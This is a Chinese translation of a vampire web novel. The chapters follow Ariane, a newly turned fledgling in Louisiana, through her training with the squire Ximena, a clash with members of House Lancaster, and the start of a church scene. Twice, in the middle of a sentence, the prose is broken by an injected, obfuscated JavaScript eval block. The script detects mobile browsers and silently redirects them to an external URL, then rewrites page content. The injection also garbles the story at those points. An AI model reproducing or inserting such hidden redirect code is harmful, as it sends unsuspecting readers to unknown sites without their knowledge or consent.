一种危险的感觉驱散了我的困倦，我意识到狱卒巧妙地安排好了这一切，让我在这里不可能找到朋友。 我还是不明白到底发生了什么。我的脑子几乎转不动了。我就像一个在玩复杂纸牌游戏的女人，却没人教我规则，甚至还不许我求助。 这个女人似乎接受了这个情况，示意我到一个武器架旁边和她会合。我看着一排排的中世纪武器，其中一些肯定来自野蛮王国。 我从没见过这么多有刃的、带尖的和钝器，各式各样、大小不一。其中有一个只是一条链子，末端有一把刀，我完全无法想象这怎么会是一件实用的武器。 我们都停了下来，她满怀期待地看着我。 我不知道该怎么办。 她是要我自己选一件武器吗？ “嗯？” 我感到恐慌在胸口涌起。我急于不惹这个泼妇生气，拼命寻找可以用来防身的东西，然后找到了。我抓起它，像保护自己似的举在身前。 “那是一面盾牌。” 我赞许地点点头。显然是的。 “你是在挑衅我吗，初拥者？你会说话吗？” “会，对不起，我会说话，而且我不是在故意挑衅你。” “那么，请问，你会用什么武器？” 我不太记得太多事情了，但我很确定，我的……父亲？对，我的父亲，我甚至都记不起他的脸了，他绝对不会允许我去学击剑。挥舞刀剑太不像淑女了。 路易斯安那已经是法国欠债者、妓女和无赖的聚集地了。我们这些地主没必要也表现得像野蛮人一样。 话虽如此，我确实打过猎，获取兽皮和肉类，而且有很多逃跑的奴隶，所以不带武器离开种植园是很愚蠢的行为。 “我用燧发步枪射击很准——啊！” 那个女人的脸瞬间变成了愤怒的面具。她抓住我的衣领，一个连贯的动作就把我扔到了房间的另一边。 我的脑子一片空白。 世界在我眼前旋转扭曲。我痛苦地落在肩膀上，然后还在地上滑行了一段。 最后，我撞到一台机器上停了下来。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054909|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秒钟后，我听到我的盾牌撞到远处墙上的声音。 疼痛让我喘不过气来。我无法思考。 太。 疼。 了。 “啊——啊——” 我不知道自己在这里蜷缩着哭泣了多久。浑身都疼，我好累，而且我还很渴。 为什么？ 为什么为什么为什么为什么为什么？ 一个冰冷的东西痛苦地戳着我的肋骨。我睁开一只眼睛，看到那个邪恶的老巫婆正低头看着我。她用一把钝的训练剑当拨火棍。哦，为什么，为什么她要这么残忍？ “好了，初拥者，让我看看你怎么用那杆步枪。” “我……” “你还在等什么？” 然后她刺向我。 剑尖刺进我的胸口，虽然不足以致命，但也很疼。 这新的剧痛叠加在旧的疼痛之上，我彻底崩溃了。我再也受不了了。他们残酷的游戏，毫无意义的攻击，冷漠的态度。 我又没要求来这里，却处处被嘲笑、被羞辱。被虐待。被折磨。到底是为了什么？他们都在玩什么邪恶的游戏，竟然觉得我连规则都不配知道？我只想结束这一切，我只想死。 爸爸，快来救救我，我再也受不了了。 于是，我像个婴儿一样放声大哭。抽泣使我的身体颤抖，泪水顺着脸颊流下来。 我等着那个穿铠甲的女魔头继续她的暴行，一边哭个不停，但攻击并没有到来。 一双手轻轻地把我扶起来，将我靠在那个愚蠢的人体模型上。我惊恐地闭着眼睛。 一根手指轻触我的下巴，抬起我的脸。 过了几秒，我鼓起勇气睁开眼睛。 那女人的脸离我近得吓人。她惊奇地盯着我的脸颊。 “初拥者，我有个请求。” “啊？” “我能舔一下你的眼泪吗？” “什……什么？” 这个女人完全疯了吗？这个请求毫无道理！然而，她脸上突然流露出一种强烈而纯粹的渴望，让我倒吸一口凉气。 “求你了……求求你，我求你了。” 我的直觉告诉我，尽管这听起来不可思议，但她是认真的。这一切都太不真实了，我一时说不出话来。这还是刚才把我像布娃娃一样扔到房间另一边的那个人吗？ 我必须做出决定，尽管心里不乐意，但我还是同意了。 我闭上眼睛，她慢慢地靠了过来。一条冰冷的东西滑过我的皮肤，我强忍着没有叫出声。这种新的感觉如此奇怪，却又如此亲密，我一动也不敢动。 那条冰冷的舌头舔过我脸的另一侧。紧接着，我听到一声喘息和抽泣。我再次睁开眼睛，看到了一幕超乎常理的景象。 之前姿态一直那么完美的女人，此刻竟在我面前抽泣。她的脸上泛起一抹红晕，我看着她慢慢向前倒下。 一种保护的冲动驱使我的左手伸到她的后脑勺。我轻轻拍着，想安抚她。她那黑色的卷发是我触碰过的最柔软的东西。 一开始，她身体紧绷，但很快就靠向我的动作。有那么一会儿，我们就那样静静地待着。 我的疼痛很快就消失了。我受伤了吗？不，大概没有。 我放下手臂。这种感觉太美妙了。我觉得自己现在可能就要睡着了。 我眨了眨眼。那个像亚马逊女战士般的女人又恢复了她一贯的冷漠表情。刚才那一切是我在做梦吗？肯定不是！瞧，她的脸还红着呢。 “初拥者。” 我害怕地咽了口唾沫。 “你知道我是谁吗？” 我摇了摇头，生怕再引发她毫无缘由的愤怒。 “我是希梅纳，卡迪兹家族的侍从，也是这座地下堡垒的军需官。” “……” “你能听懂我说的话吗？” “你是希梅纳。” 她叹了口气，捏了捏鼻梁。 “你到底多大了？” “我十九岁。” 她皱起眉头。 “我没听说过尼拉里大人有了个初拥者，尤其是一个还会说话的。那他都教了你些什么？” “谁？” “尼拉里大人，你的主人。” “我不认识那个人。” “你什么意思？你是他的人，我都看到你的獠牙了。” 我呆呆地盯着这个女人。獠牙？主人？我这是在和一个疯子打交道！ “除非……不！” 希梅纳难以置信地看着我。 “你最近有没有碰到过一个高个子男人，棕色眼睛、棕色头发？看起来很威严，浑身透着一股神秘的气息？” “而且还非常英俊。”我梦幻般地回答道，“碰到过，他还让我叫他主人。他叫尼拉里吗？” “是的，那你第一次见到他到底是什么时候？” “哎呀，就是今天早上，在我的牢房里！” 希梅纳看起来越来越激动，我还是分不清到底是我疯了，还是她疯了。至少我知道了那个……我的主人的名字。尼拉里。多么奇特的名字。也许有一天我也能拥有这个姓氏。 “初拥者？” “嗯？” “我需要你说实话。” “哦，我会的，主人让我在任何事情上都听你的。” “我明白了。那么，请告诉我，你最早的记忆是在那个牢房里吗？” “是的！哦，我的天……”我咳嗽起来，喉咙突然被堵住了。希梅纳同情地皱了皱眉。 “对。我昨天在那里醒来。至少我觉得是昨天。没有太阳和时钟，很难判断时间的流逝。” “昨天？昨天！？” “是啊？” “你是不是觉得自己脑子不好使，好像记忆被一层面纱遮住了？” “是的！”终于有人能理解我的困境了！哦，我都快欣慰得哭出来了！ 然而，希梅纳没有给我答案，只是站起来开始踱步。 “这是某种疾病吗？” “是的。是的，这是一种病。你还会注意到自己的苍白、锋利的指甲，还有那种渴望。” “这会好起来吗？” 希梅纳停下脚步，凝视着远方。 “不……不，好不了了。” 我耐心地等着她进一步解释。只要不再激怒她，我就能从她那里了解到更多关于我自身状况的事情。我希望她能快点说，因为我越来越渴望回到我的卧室。也许在那里我能找到些喝的。 “你叫什么名字，还记得吗？” “记得。阿丽亚娜。” “幸会，阿丽亚娜。尼拉里大人有没有提过一场仪式？” “他说如果我表现好，三天后就能汲取他的精髓，然后活下去。” 希梅纳小声嘀咕着，我不幸听到了她的话。这女人骂起人来像个水手！ “好吧，年轻的阿丽亚娜，你现在的处境很微妙。不过，你给了我一样非常罕见的东西，而且这东西只能是赠予，不能强取。强烈的情感是如此珍贵。为此，我很感激，也会尽力帮助你。” 她扶我站起来。 “你确实生病了，很遗憾，这病无药可医。” “什么？我……我从没听说过这种病！就因为这个病，我才被你们囚禁吗？” “确实如此。你可以把你脑海中的那层面纱看作是一种麻醉剂，在转变过程中保护你的心智。” “可是……我不想——” “嘘，”她说，“我知道这很可怕，但你依然是阿丽亚娜。永远记住，你还是你自己。” “我……我是阿丽亚娜。我还是我自己。” 我摇摇晃晃地向前走去。 “啊，你肯定累坏了。靠在我肩膀上，我带你回房间。” 3. 领地、家族与未知病症 我最好的朋友挽着我的胳膊，我们走在新奥尔良的街头。太阳已经悄悄越过了地平线，余晖将鹅卵石路面染成了红色。我们两个年轻女子，竟然没有女伴陪同就出门了，真是大胆！ “你能来真是太好了，我的朋友，要是我一个人，绝对不敢！” “别放在心上，康斯坦萨。我也有充分的理由参加这场舞会。据说勒莫因夫人在海地开了一家酿酒厂，而且很有商业头脑。她今晚也会出席，这真是太幸运了，我要是错过这个机会，可就太不明智了。” 金色的发缕拂过我的肩膀，我发现自己正凝视着一双笑意盈盈的栗色眼睛。 “啊，我可怜的阿丽亚娜，对你来说就只有生意吗？你应该多留意找个丈夫。这样他就能开你梦寐以求的酿酒厂，而我们就可以整天尽情玩乐！” “呸！你这个放荡的女人，别想诱惑我！而且，男人可不能信。连爸爸都这么说。” “啊，朋友，你爸爸今晚不在这儿。说真的，我现在明白了，我得给你找些更成熟稳重的追求者。” “你到底什么意思？！” “哈哈哈，别担心，朋友，看！这里来了个新的候选人！” 我顺着我最好的朋友所指的方向看向宅邸的入口，却惊恐地往后退。在那扇双开门前站着一个从最恐怖的故事里走出来的怪物。 它比任何男人都要高大。它的皮肤像月亮一样惨白，而且完全没有毛发。如深渊般漆黑的眼睛直勾勾地盯着我的灵魂。我想跑，我试图逃跑，但却动弹不得。我最好的朋友死死地抓住我的胳膊。一道深深的伤口毁了她漂亮的脸蛋，她的眼睛里闪烁着疯狂的光芒。 “不，别离开，他就是最适合你的人。天作之合，就凭你妄图攀高枝。” 我动不了，甚至连眨眼都做不到。我只能眼睁睁地看着那个怪物一步步走近。它抓住我的头，暴露了我的喉咙。我最后看到的是八颗冷酷无情的獠牙。 我在一个陌生的卧室里醒来。记忆慢慢涌上心头，我陷入了混乱。现在我有些希望，因为我找到了希梅纳这个盟友，但我毫不怀疑她所说的都是事实。 我确实被某种未知的状况所困扰。这个认知几乎压垮了我的精神，有那么一会儿，我坐在天鹅绒华盖下，震惊得无法动弹。但这种状态并没有持续太久，因为希梅纳叫我过去，我必须服从。 我站起身来，准备好自己。我昨天穿的那件不合身的连衣裙还贴在身上。衣服的前后都有几滴血迹，但我不记得自己受过伤。真奇怪。 这个客房的布置和之前那个差不多，所以我在确保门已经锁好后，很快又洗了个澡。尽管我非常口渴，但我还是竭尽全力，不让自己沉浸在温水触碰肌肤的愉悦感觉中。 擦干身体后，我发现有人在门口放了一套看起来很奇怪的灰色衣服。我穿上了它。令我惊讶的是，它非常舒适，不过有个明显的缺点，就是臀部周围有点紧。 尽管如此，它完全没有限制我的活动范围。真是个不错的发现！哦，要是我能穿着它出入上流社会就好了，但它是长裤，这可不行。 当我试图整理我那像鸟巢一样的头发时，遇到了麻烦。这里连一面镜子都没有！我想，他们怎么能指望一位女士在没有镜子打理自己的情况下展现出最好的一面呢？莫尔夫人……哦。她可能有仆人帮忙。 幸运的是，我的头发在我的爪子（talons，此处原文talons疑为拼写错误，推测应为hands）下很容易就梳理好了，我觉得自己至少还算得体。反正他们也没指望我以最好的状态出现在上流社会！ 一切准备就绪后，我离开了房间。 幸运的是，我没花多长时间就找到了训练室。我下楼，稍微转了转，就找到了那扇双开门。 在这期间，我只遇到了一个女仆，她匆匆走过时避开了我的目光。她身上有一股诱人的气味，但我没有让它分散我的注意力。毕竟，有人在等我。我只希望希梅纳能有点喝的，这干渴快把我折磨死了。 我发现她在一张桌子旁，擦拭着一把精致的击剑用剑。她旁边是一个穿着农家女裙装的矮胖女人。她留着黑色短发，皱着眉头，用担忧的黑眼睛盯着我。 当我走近时，我意识到她的气味非常迷人，哎呀，我简直无法自控—— 希梅纳用手搭在我的肩膀上，制止了我。 “哦，不好意思，我失态了！早上好，希梅纳，还有你，夫人。嗯，现在是早上，对吧？” 希梅纳微笑着点头回应我的问候。 “还不算早上。这是安齐扎，她是加的斯家族的家臣。” “哦，你好，安齐扎。” 这个女人没有回应。相反，她紧张地咽了咽口水，我发现自己被她脖子的动作吸引住了。多么漂亮的脖子，太迷人了。 “阿丽亚娜。” “嗯？” “我需要你集中注意力。看着我。” 我转向她，这才意识到她离我近得让我不太自在。她握住我的手。她的皮肤柔软又凉爽。 “你想离安齐扎更近点吗？” “想。” “你觉得口渴吗？” “非常渴，几乎难以忍受。” “闭上眼睛。很好。现在，我要你想一个让你感到安全的地方。你所知道的最安全的地方。” “但我不记得我的过去了……” “你的头脑不记得，但你的内心可以。你还记得我昨天跟你说的话吗？” “我属于我自己。我永远属于我自己。” “很好。让你的内心说话，阿丽亚娜。你很安全。你能看到周围的一切。你看到了什么？” “我……我不知道。我太渴了。我只是需要几滴她的——” “不！停下！很好。因为你很渴，所以这样会更有效。现在，再试一次。” 一开始，我觉得整个练习很愚蠢。 哎呀，这感觉就像是那些江湖骗子声称能治愈失明的骗人冥想练习之一。然而，希梅纳没有放弃。她用温和的声音引导着我。 当干渴感变得难以忍受时，她紧紧地抓住我的脖子，这帮助我保持了自制。 最终，我感觉到了。 在甘蔗地边缘有一座小木屋。它小得勉强能放下一张单人床、一个箱子和一个小火坑。它从来就不是用来长期居住的，仅仅是一个简陋的庇护所，没有任何装饰。唯一重要的是，这里很安全。 我爬上稻草床垫。它闻起来有肥皂和阳光的味道，我知道我可以在这里等他回来。一阵凉爽的微风沙沙地吹过外面的树林，带来了新雨落在泥土上的气息。 既然天气变好了，他很快就会回来，希望能给我带点喝的。与此同时，我就抱抱斯克鲁菲熊先生。斯克鲁菲熊先生真是个绅士。 “很好。现在，这里的味道是不是很好闻？” “是的。” “很好，现在舔一舔。” 我舔到了极其美味的东西。一定是世界上最好吃的糖果。有人愉悦地呻吟着，我知道我应该感到震惊，但却根本不在乎。 “很好，这会把痛苦变成愉悦，现在，跟着你的本能做。” 我轻轻地咬下去。柔软温暖的东西在我的牙齿下分开，就像最甜美的水果，美味的汁液再次缓解了我的干渴。 极度的愉悦。 太美妙了，美妙极了。 然而，不知为何，这种感觉却有些平淡。和之前的感觉没法比。 这种感觉和我之间仿佛隔着一层东西。我很享受，但我的一部分意识还和斯克鲁菲熊先生一起坐在小木屋的床上。 “慢点，听。” 我主要能听到两种声音。第一种是一个女人极其羞耻地呻吟着。我也不是什么都不懂，我明白她…… 哈，我甚至都没法让自己把这个想法想完。 第二种是心跳声，而且它跳得越来越快。 “心跳太快了。当心跳这么快的时候，你必须停下来。现在就停下。” 我立刻照做了。干渴感已经减轻了很多，那种冲动不再那么强烈了。我也记得主人的指示。我必须在所有事情上服从希梅纳。 “非常好。现在把伤口舔干净。” 我照做了。我被一种强烈的亲密感笼罩着，如果不是我现在的奇怪状态，我想我肯定会脸红。 过了一会儿，我睁开眼睛。希梅纳正公主抱般地抱着安齐扎。我可不敢说这一切有多么不得体，更别提安齐扎那红扑扑的脸蛋了！哎呀，如果现在有人进来，我肯定会尴尬得要死！ “阿丽亚娜。” “嗯？怎么了。” “你知道刚才发生了什么吗？” “嗯，你让我找一个安全的地方，我找到了，然后……” 我困惑地皱起眉头。然后发生了什么呢？我似乎想不起来了。 “我不记得了。是因为这该死的病症吗？” “是的。别担心，等你下次见到你的主人，你脑海中的迷雾就会消散，至少他是这么说的。” “哦，这一天可千万别来得太慢……”我梦幻般地回答道。还没等我进一步失态，希梅纳就带着悲伤的微笑转过身去。 “你不该这么心急。并非所有的知识都是有益的。啊，我不太会说这个。你留在这儿，我先送安齐扎去安全的地方。在你等我的时候，我希望你记住你找到的那个安全的地方。当你感到干渴，或者解渴的时候，你也许能再次找到它。这很重要，阿丽亚娜。如果你只能记住一件事，那就记住这个。” “我明白了。” “很好。” 希梅纳离开了，我独自留下。尽管我肯定才醒来不到一个小时，可我已经能感觉到那种困意的召唤。为了转移注意力，我检查起训练用的假人。 当我意识到其中一些是自动人偶时，我简直惊呆了！那些贵族们得有多富有，才能买得起如此精密复杂的机械来做这么普通的训练？我只能猜测他们来自欧洲，因为决斗在贵族间仍然是解决争端的一种方式。 我的沉思被身后门开合的声音打断。我从检查中转过身，本以为会看到回来的希梅纳，结果却惊讶地往后退。 房间里现在有两个人，离我只有几步之遥，可我这辈子都没见过他们。 他们怎么能这么快就靠得这么近？这不可能！除非…… 我眨了眨眼。 我刚才在想什么来着？嗯。不重要了。面前有两个人，我还没跟他们打招呼呢。 我行了个屈膝礼，尽管我没穿裙子。主人告诉我要停下来，要守规矩，我会照做的。 然后我等着。 左边的女人穿着一件绣工精美的奶油色礼服，绿色的眼睛，一头惊人的红发。她美极了，她的气场和仪态让我想起了莫尔夫人。至少是年轻版的莫尔夫人。也许是她的亲戚？ 右边的黑发男人穿着一件一个世纪前就已经过时的拼色奶油夹克，但我绝对不会对此发表任何评论。 他有着轮廓分明的下巴和英俊的脸庞，就算出现在伦敦最豪华剧院里出演莎士比亚戏剧，也毫不违和。他自身的气场比较平淡，但和他同伴的气场有些相似。她满脸不屑，而他看起来则是极度无聊。他的蓝眼睛几乎立刻就把我无视了。 我活到十九岁，可不是白活的，我能分辨出麻烦。不管他们想要什么，我都得拖延时间，等希梅纳回来，同时又不能惹他们生气。于是，我保持沉默。 时间站在我这边，新来的这两个人也明白这一点。第一个回合我赢了，那女人的不屑变成了怒容。 “我们是来看最新的小崽子的。告诉我，小崽子，你会说话吗？” 希梅纳，不管你在哪儿，我求求你，赶紧回来！ “你是在说我吗？” “显然！在这个破地方你还能看到别人吗？” 我必须在强硬和软弱之间拿捏好分寸。太软弱，她会变本加厉；太机智，她会报复。我尽可能地拖延着不说话，然后才继续说道： “要是你还在等答案的话，没错，我会说话。这很令人惊讶吗？” “是挺惊讶的。你知道，尼拉里大人很少挑聪明的，他更喜欢……其他方面的特质。” 为什么每个人都觉得我是个笨蛋！ “不过这次他可能是个例外。”她一边说，一边挑剔地打量着我。 她以为我这么容易就会失去镇定吗？ “你也许和莫尔夫人有亲戚关系？” 看来我猜对了。她的脸僵住了，眼神变得充满算计。 那个男人转头看向门口，发出警告。 “梅卢西娜……” 她却不为所动，继续说道： “你为什么会这么想？” “你只会咋咋呼呼，却毫无风度。” 我实在忍不住，哈哈哈。哎呀。 “你竟敢！” 她就等着找个借口呢。她动了，我能看到。我的血管里有什么东西在歌唱，就像一场美梦留下的余韵，于是，我也动了。我伸手去抓她的反手，居然抓住了她的拳头。 这是个糟糕透顶的主意。 她的速度不算快，但她这一击的力量超乎想象。我像一片羽毛一样被抛向空中。 很幸运，我设法在地上翻滚了一下，没有受太重的伤。她的力量简直不像人类！像她这样一个娇弱的女孩，怎么能…… 等等，我刚才在想什么？我不知道，但我知道我现在很危险。 我哼了一声，挣扎着跪了起来。不知怎么的，我最后落到了两个自动人偶中间。 “时间不多了，梅卢西娜。”那个男人一如既往地面无表情地说道。 梅卢西娜大步朝我走来，脸上带着要给我苦头吃的神情。他们这么着急，肯定是因为希梅纳马上就要回来了；所以，我只需要再拖延几分钟就行。 然而，我已经精疲力竭了。 这病症耗尽了我的力气。我的四肢比一分钟前更沉重了。我打不过她，也逃不掉。绝望中，我做了一件只能归咎于我混乱头脑的事。我抓住最近的一个自动人偶的侧面，拉动了它的操纵杆。 往好了想，我本期望这个假人能转动一下，为我争取几分钟时间。然而，意想不到的事情发生了。 一个复杂的印记在自动人偶的胸口闪烁，将它笼罩在深红色的光芒中。它颤抖着从木质支架上走下来，然后伸出四条末端是锋利刀刃的手臂。它没有眼睛的脑袋转向了最近的移动目标——梅卢西娜。 我惊呆了，动弹不得。巫术！最邪恶的巫术！ 我几乎没注意到那个男人把他惊讶的同伴拉到自己身后，这时一个声音如雷鸣般响彻整个房间。 “住手！” 希梅纳迈着母狮般的自信步伐走了进来。她的目光落在那个不知为何向前移动了一点的假人身上，然后带着一丝好笑的不屑看向梅卢西娜。 “很高兴看到兰开斯特家族试图弥补他们在武艺上的严重不足。话虽如此，你们本可以直接来问我，而不是像老鼠一样在训练场里偷偷摸摸。” “注意你的言辞，扈从。” 我吓了一跳，因为两扇门在没有任何外力的情况下关上了。 “你也该管好你自己的嘴。” 房间里陷入了一片沉重的寂静，希梅纳朝着这两个不速之客走去。在她走到他们面前之前，那个男人向前迈了一步，正式地鞠了一躬。 “扈从希梅纳，看来我们来错地方了。也许你能同意打开门？” 希梅纳停下来想了一会儿。 “在这只雏鸟由我照顾期间，你们不许再骚扰她。” “好的。” 就这样？经历了这一切之后，他们就可以这么轻易地离开？ 我们应该把他们的膝盖砍断，让他们用残肢爬着走！ 不，这对这场闹剧来说是个完全合理的结果，我很高兴能看到他们离开。 他们一言不发地走了。 “我想我该开始训练你自卫了。”门关上后，希梅纳叹了口气说道。 “希梅纳，恕我直言，我觉得没必要。”我恭敬地提出反对意见，“我需要知道这些人是谁，以及他们为什么对我有敌意。还有，我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054910|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一次见面的时候，奥戈泰为什么没激怒你攻击我呢？” 希梅纳微微一颤。 “你说得对，年轻的阿丽亚娜。啊，但我不擅长解释这个。我该从哪儿说起呢？” “你可以先告诉我，为什么我是雏鸟，而你是扈从，还有为什么莫尔夫人这么讨厌我。” 希梅纳停下来思考了一下，然后很快点头表示同意。 “好吧，但请记住，我会故意说得含糊一些，以免你的大脑模糊了某些信息。” “我原以为在我再次见到我的主人之前，我无法了解更多关于这病症的事情。” “确实。现在，开始吧。刚转变的……被感染者，一开始是工蜂。他们是没有思想、可怜的生物，只会听从主人的声音做出反应。大多数人最多在这种悲惨的状态下持续几周。其他人则永远无法摆脱这种状态。” 我厌恶地颤抖了一下，这命运太可怕了！ “当工蜂恢复了足够的自我意识后，他们会得到，呃，他们的主人会帮助他们，然后他们就会变成雏鸟，就像你现在这样。雏鸟本质上就是年轻的被感染者。” “希梅纳，亲爱的，你是不是搞错了？我还没有得到你说的那种帮助呢！我还是个工蜂吗？” “是，也不是。任何重新找回自我意识的人通常都会被当作雏鸟。得到帮助只是一种形式而已。” “要是——” “不，阿丽亚娜，别想这个了。等时机成熟，你的主人会帮助你的。” “他让我守规矩……可我——” “没有对兰开斯特家族的恶语相向屈服。别担心，阿丽亚娜。” “谢谢你，希梅纳。” 她难得地对我露出了微笑。 “啊，你真是个让人耳目一新的年轻姑娘，不过我们接着说。一旦雏鸟被认定成年，在过了一些——过了一段时间之后——” 希梅纳差点说出“几十年”吗？肯定是我听错了，我可不想等到头发变白才获得自由！不过这也没关系，只要一有机会，我就会回家。 “——他们就会成为侍臣。这个头衔是由他们所在的家族授予的，并且被其他家族普遍认可。刚才那两个人，梅卢西娜和兰伯特，就是侍臣。 那些，呃，掌控了自身病症的人会成为主人。主人不需要家族的认可，他们的地位一目了然。 掌控一片领地的主人通常被称为领主。在他们之上是家族的首领和他们的议会，我们之后再讨论这个。” “那扈从呢？” “啊，对。骑士是家族的军事力量。他们由一个独立的组织训练和调配，享有一定程度的自主权。扈从是正在接受训练的骑士，也包括名誉受损的骑士。” 希梅纳满怀期待地看着我。我能看出来这是对我性格的一次考验。我认识这个女人才两天，但我已经能看出她诚实坦率，或许是过于坦率了。 “奥戈泰，还有后来的梅卢西娜称呼你为扈从的时候，他们是在故意贬低你，对吧？” “没错。他们故意激怒我，而我上当了。” 她向前走了一步，我却往后缩。我能感觉到我的反应伤害到了她。 “希梅纳，对不起，我……” “别道歉，阿丽亚娜。昨天我对你举起了手。你会有所顾虑，都怪我自己。现在我来给你解释为什么你的处境如此危险。啊，从哪儿说起呢。嗯。我们现在在路易斯安那。” 至少我没被带到世界的某个荒蛮角落。 “这个地区多次易主。结果，现在有各种各样的人生活在这里：原住民奇蒂马查人、乔克托人和库沙塔人，法国人和法裔加拿大人，西班牙人，非洲人，还有现在的盎格鲁人。 通常情况下，各个家族之间是不会混杂的，而这里的特殊情况就需要做出一定程度的调整。你知道，家族的领地意识很强。” 听到这个想法，我差点嗤笑出声。为什么一群被疾病缠身的人会有领地意识呢？而且为什么要把野蛮人和奴隶也纳入决策过程？简直不可思议。 “把这里当作自己地盘的家族聚在一起，协商势力范围。原本应该有四个家族：加的斯家族、兰开斯特家族、罗兰家族和埃孔家族，分别来自西班牙、英国、法国和几内亚湾。” “你们居然让奴隶参与讨论？”我嘲笑道。 希梅纳的表情闪过一丝异样。 “啊，对，我忘了说。我们……被感染者，不在乎彼此的肤色。你最好记住这一点。” “好吧！这可真……先进啊。” “你迟早会明白原因的。现在，我希望你无论面对什么种族和性别的人，都要尊重他们。这是为了你自己好。” “我明白了，希梅纳。” 我会照她的要求做，我必须在所有事情上服从她。 “问题出在你的主人身上。可以说，尼拉里大人是你的保荐人。不管怎样，你都和他有关系。” 希梅纳把我带到一张舒适的长椅旁，握住我的手。从这个高大强壮的女人身上做出这样的举动，我觉得十分暖心。 “尼拉里大人和家族首领没什么两样。他有点特立独行，他的到来出乎所有人的意料。尽管如此，他还是受到了极高的礼遇。你知道，冒犯他无异于自寻死路。” 我的脸上肯定写满了惊讶，因为希梅纳决定再解释一下。 “你主人遵循的是古老的行事方式。他视好客的准则为神圣，但任何一点冒犯都会遭到他无情的报复。他被所有人畏惧和厌恶，而他的名声也影响到了你。” “什么！”我气愤地打断她，“他是个善良的灵魂！是个优雅的绅士！他们怎么敢这样诋毁他？” 希梅纳没有打断我的 ranting ，只是怜悯地看着我。我多么希望能说服她。 “尽管如此，他的名声已经是既定事实，而且他还以，呃，不关心自己的追随者的命运而闻名。” “希梅纳，我太困惑了。他到底有没有家族？我呢？” “他，嗯，他就被称为‘吞噬者’，据我所知，除了你之外，他的追随者里只有一个还活着。你是他这一脉的第三个成员。” 我……什么？ “对不起，阿丽亚娜，你的身世总会被人知晓，尼拉里大人的被感染者非常有辨识度。” 她的目光扫向我的嘴巴。 “我不明白！这完全说不通！” “你以后会明白的。对不起。” 我震惊得说不出话来。这一切都毫无道理。一种神秘的疾病？家族和政治？一个只有三个人的家族？ “希梅纳，求你了，告诉我真相。我是不是歇斯底里了？这里是不是疯人院，把疯子关在这里任由他们发疯？” “阿丽亚娜，相信我，你没疯。” 我没疯。 “这段时间对你来说很艰难，但是如果你够坚韧，并且能展现出比我更好的政治智慧，我相信你会过得很好。” “过得好？我不想过得好！我想回家！我只想回家……” 我努力忍着，但尽管我竭尽全力，还是开始哭了起来。 “阿丽亚娜？” “嗯？” “我可以……我可以喝你的眼泪吗？” 在这个疯人院里，发生什么事我都不会再惊讶了。我点头同意，接着尖叫起来，因为希梅纳把我拉进了她的怀里。我还没来得及反应，她就舔了我的脸颊！太放肆了！ 我们就那样待着。换作别的情况，我肯定会对她的亲密举动感到生气，但我意识到我欠她太多。 如果她说的是真的，而我也没有理由怀疑她的话，那么我的主人有点像个被排斥的人。我们的相识损害了她的名声。 她的诚实和忠诚让她付出了代价，但她还是保护了我。我只能庆幸自己遇到了她。 “作为一个被感染者，你还挺能哭的。” “哦，别说了！” 在她怀里我感觉很舒服。在和那个可恶的泼妇对峙之前我就已经很累了，现在我整个身体都感觉无比沉重。我想我要小睡一会儿。 就几分钟。 4. 教堂与阴谋 赞美诗的最后和声在教堂的长凳和众多礼拜者上方回荡。弥撒正在热烈进行中，我能感受到，当来自不同出身的人们怀着同一个目的聚集在一起时，自己正成为某种比自身更伟大事物的一部分。 我深吸一口气。教堂里弥漫着灰尘和焚香的味道，还有人们带来的香水与汗水混合的独特气味。 清晨的阳光轻吻着我裸露在外的小块肌肤。毕竟，我身着最好的礼拜日服装。 虚荣或许是一种罪过，但我是多么喜爱身上这件蓝色连衣裙啊。它太适合我了。爸爸站在我身旁，我能看出他在留意着其他人，像卫士一样守护着我。 那些盯着我看的年轻男子都会被他注意到，随后他会告诉我。那些盯得太久的人稍后会受到他的斥责。 一位身着天主教神父黑色长袍、面带微笑的老者走到我们面前。他真诚的笑容让我的心情轻松起来。 阿尔芒神父的布道总是那么睿智且切中要害，比莫比尔来的那个神父强多了。那个人可真无趣，总是叫嚷着永恒的诅咒和女巫。 “欢迎大家，欢迎参加弥撒。今天看到你们所有人，我非常高兴。复活节即将来临，我本打算讲讲暴食和过度放纵的危害。唉，昨天坎特雷尔夫人送了我一个肉馅饼，你们都知道我多么厌恶虚伪！” 和在场的大多数人一样，我轻声笑了出来。 “所以，恐怕我要讲些不太愉快的事情。我注意到，和萨顿先生教区的教众发生了一些争执，是关于宗教问题。” 气氛变得严肃起来。 “哎呀，我实在没法怪你们感到困惑。我记得自己曾是路易十五国王的忠实臣民，出去猎杀一条讨厌的蛇怪，等我回来时，却成了西班牙人！” 我们又一次笑了起来，这位老神父就像拉小提琴一样，巧妙地调动着我们的情绪。我并不太在意，他是个好人。 “我去泡点茶，就又变回法国人了，非常感谢！” 会众中的西班牙人笑得更厉害了，可能是因为阿尔芒神父那糟糕的发音。 “而现在，我们被拿破仑本人卖给了美利坚合众国。难怪我们都不知所措。我现在拥有的旗帜比衬衫还多，都考虑把旗帜改成衬衫了。呵呵。没错。正因如此，我们教区现在有不少新教徒。” 一提到那些异教徒，就有不少人发出不满的嘟囔声。 “但我要问你们，当耶稣与法利赛人或撒都该人辩论时，他有揍他们的脸吗？他有向他们的女人扔粪便吗？” 嘟囔声立刻消失了，不少人羞愧得满脸通红。 